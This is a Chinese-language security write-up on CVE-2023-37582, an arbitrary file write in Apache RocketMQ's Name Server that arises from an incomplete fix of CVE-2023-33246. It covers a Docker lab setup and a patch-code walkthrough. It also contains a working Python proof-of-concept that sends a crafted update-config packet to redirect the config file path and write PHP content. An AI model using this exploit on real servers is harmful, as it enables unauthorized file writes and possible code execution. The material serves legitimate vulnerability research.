前言

根据漏洞描述,CVE-2023-33246除了上一篇文章的Runtime命令执行外,通过运行时修改配置还有别的利用方法。

对此,官方的修复方式就是对一些配置项如configStorePathName的修改做了权限限制:

if (properties.containsKey("kvConfigPath") || properties.containsKey("configStorePathName")) {
    response.setCode(ResponseCode.NO_PERMISSION);
    response.setRemark("Can not update config path");
    return response;
}

由于权限限制不到位,导致一些配置项还是可以在运行时被远程修改,从而导致任意文件写入漏洞。


环境搭建

镜像:

docker pull apache/rocketmq:5.1.1

启动Name Server和Broker:

docker run -d --name namesrv -p 9876:9876 apache/rocketmq:5.1.1 sh mqnamesrv
docker run -d -p 10911:10911 -p 10909:10909 -v /home/aluvion/桌面/rocketmq/broker.conf:/opt/rocketmq/conf/broker.conf --name broker --link namesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:5.1.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf

漏洞利用

根据参考文章,可以通过Python编写脚本连接Name Server服务更新配置完成漏洞利用:

# -*- coding:utf8 -*-
import socket
import binascii


client = socket.socket()

# you ip
client.connect(('192.168.88.129', 9876))

# data
json = '{"code":318,"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body = 'configStorePath=/tmp/test.txt\nproductEnvName=123\\n<?php echo 233;>'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)
head1 = '00000000'+str(hex(json_lens))[2:]
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8')

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

脚本运行后成功写入文件,环境搭建成功。

漏洞分析

根据修复补丁,修复点位于DefaultRequestProcessor类的updateConfig函数中,该函数负责读取配置项字符串并从中生成Properties类型的配置项:

this.namesrvController.getConfiguration().update(properties);

update函数负责根据输入更新配置,在此过程中将输入配置项与自身原有的配置项合并,并写入到配置对象中,再往下到persist函数:

MixAll.string2File(allConfigs, this.getStorePath());

到string2File函数,看函数名和参数似乎会将所有配置项写入某个文件中,其中getStorePath函数负责获取写入文件路径:

if (this.storePathFromConfig) {
    try {
        realStorePath = (String)this.storePathField.get(this.storePathObject);
    } catch (IllegalAccessException var7) {
        this.log.error("getStorePath error, ", var7);
    }
}

懒得重启docker远程调试了,根据参考文章,这里的storePathFromConfig成员为true,storePathField为NamesrvConfig类的configStorePath成员,因此文件写入路径可控,而写入内容为配置项,因此内容部分可控,即可以通过远程修改配置的方式触发文件写入漏洞。

查看写入文件中的所有配置项,可以看到字符串类型的配置项不多,考虑到黑名单的影响和修改目录配置可能导致非预期错误,使用processRequest配置项控制文件内容是比较恰当的做法。

最后就是根据RocketMQ协议完成流量包的构造,然后发生触发漏洞,懒得调试所以不对根据协议构造流量包这一步多加分析了,开摆。


参考

Apache RocketMQ 远程代码执行漏洞(CVE-2023-37582)

CVE-2023-37582 Apache RocketMQ 更新配置远程代码执行漏洞